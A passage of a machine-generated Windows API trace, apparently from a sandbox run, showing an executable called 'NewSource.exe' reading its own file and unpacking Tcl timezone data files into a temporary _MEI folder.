FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.028] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.028] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.028] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.028] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.029] CloseHandle (hObject=0x10c) returned 1 [0040.029] GetLastError () returned 0x0 [0040.029] SetLastError (dwErrCode=0x0) [0040.029] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.029] GetFileType (hFile=0x10c) returned 0x1 [0040.029] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.029] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.029] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.029] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.029] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.029] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.030] CloseHandle (hObject=0x10c) returned 1 [0040.030] GetLastError () returned 0x0 [0040.030] SetLastError (dwErrCode=0x0) [0040.030] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Choibalsan") returned 72 [0040.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Choibalsan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\choibalsan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.030] GetLastError () returned 0x2 [0040.030] SetLastError (dwErrCode=0x2) [0040.030] GetLastError () returned 0x2 [0040.030] SetLastError (dwErrCode=0x2) [0040.030] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Choibalsan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Choibalsan", lpFilePart=0x0) returned 0x47 [0040.030] GetLastError () returned 0x2 [0040.030] SetLastError (dwErrCode=0x2) [0040.030] GetLastError () returned 0x2 [0040.030] SetLastError (dwErrCode=0x2) [0040.030] GetLastError () returned 0x2 [0040.030] SetLastError (dwErrCode=0x2) [0040.030] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Choibalsan") returned 72 [0040.030] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Choibalsan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\choibalsan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.030] GetFileType (hFile=0x10c) returned 0x1 [0040.030] htonl (hostlong=0xce050000) returned 0x5ce [0040.030] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.030] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x5ce, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x5ce, lpOverlapped=0x0) returned 1 [0040.031] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.031] CloseHandle (hObject=0x10c) returned 1 [0040.032] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.032] htonl (hostlong=0x30000000) returned 0x30 [0040.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.032] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.032] GetFileType (hFile=0x10c) returned 0x1 [0040.032] htonl (hostlong=0xd5c55a00) returned 0x5ac5d5 [0040.032] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f75d5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.032] htonl (hostlong=0xe5000000) returned 0xe5 [0040.032] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe5) returned 0x550600 [0040.032] htonl (hostlong=0xe5000000) returned 0xe5 [0040.032] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.032] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.032] htonl (hostlong=0xff010000) returned 0x1ff [0040.032] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ff) returned 0x5506f0 [0040.032] htonl (hostlong=0xe5000000) returned 0xe5 [0040.032] htonl (hostlong=0xff010000) returned 0x1ff [0040.032] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.032] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.032] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.032] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.032] CloseHandle (hObject=0x10c) returned 1 [0040.032] GetLastError () returned 0x0 [0040.032] SetLastError (dwErrCode=0x0) [0040.032] GetLastError () returned 0x0 [0040.032] SetLastError (dwErrCode=0x0) [0040.033] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.033] GetFileType (hFile=0x10c) returned 0x1 [0040.033] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.033] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.033] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.033] CloseHandle (hObject=0x10c) returned 1 [0040.033] GetLastError () returned 0x0 [0040.033] SetLastError (dwErrCode=0x0) [0040.033] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.033] GetFileType (hFile=0x10c) returned 0x1 [0040.033] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.033] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.034] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.034] CloseHandle (hObject=0x10c) returned 1 [0040.034] GetLastError () returned 0x0 [0040.034] SetLastError (dwErrCode=0x0) [0040.034] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.034] GetFileType (hFile=0x10c) returned 0x1 [0040.034] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.034] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.034] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.034] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.034] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.034] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.034] CloseHandle (hObject=0x10c) returned 1 [0040.034] GetLastError () returned 0x0 [0040.034] SetLastError (dwErrCode=0x0) [0040.034] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chongqing") returned 71 [0040.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chongqing" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\chongqing"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.034] GetLastError () returned 0x2 [0040.035] SetLastError (dwErrCode=0x2) [0040.035] GetLastError () returned 0x2 [0040.035] SetLastError (dwErrCode=0x2) [0040.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chongqing", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chongqing", lpFilePart=0x0) returned 0x46 [0040.035] GetLastError () returned 0x2 [0040.035] SetLastError (dwErrCode=0x2) [0040.035] GetLastError () returned 0x2 [0040.035] SetLastError (dwErrCode=0x2) [0040.035] GetLastError () returned 0x2 [0040.035] SetLastError (dwErrCode=0x2) [0040.035] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chongqing") returned 71 [0040.035] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chongqing" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\chongqing"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.035] GetFileType (hFile=0x10c) returned 0x1 [0040.035] htonl (hostlong=0xff010000) returned 0x1ff [0040.035] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.035] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1ff, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x1ff, lpOverlapped=0x0) returned 1 [0040.036] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.036] CloseHandle (hObject=0x10c) returned 1 [0040.036] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506f0 | out: hHeap=0x530000) returned 1 [0040.036] htonl (hostlong=0x30000000) returned 0x30 [0040.036] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.036] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.037] GetFileType (hFile=0x10c) returned 0x1 [0040.037] htonl (hostlong=0xbac65a00) returned 0x5ac6ba [0040.037] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f76ba, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.037] htonl (hostlong=0x89000000) returned 0x89 [0040.037] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0040.037] htonl (hostlong=0x89000000) returned 0x89 [0040.037] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.037] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.037] htonl (hostlong=0xb4000000) returned 0xb4 [0040.037] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb4) returned 0x550600 [0040.037] htonl (hostlong=0x89000000) returned 0x89 [0040.037] htonl (hostlong=0xb4000000) returned 0xb4 [0040.037] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.037] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.037] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.037] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.037] CloseHandle (hObject=0x10c) returned 1 [0040.037] GetLastError () returned 0x0 [0040.037] SetLastError (dwErrCode=0x0) [0040.037] GetLastError () returned 0x0 [0040.037] SetLastError (dwErrCode=0x0) [0040.037] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.037] GetFileType (hFile=0x10c) returned 0x1 [0040.037] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.037] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.037] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.038] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.038] CloseHandle (hObject=0x10c) returned 1 [0040.038] GetLastError () returned 0x0 [0040.038] SetLastError (dwErrCode=0x0) [0040.038] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.038] GetFileType (hFile=0x10c) returned 0x1 [0040.038] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.038] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.038] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.038] CloseHandle (hObject=0x10c) returned 1 [0040.038] GetLastError () returned 0x0 [0040.038] SetLastError (dwErrCode=0x0) [0040.038] 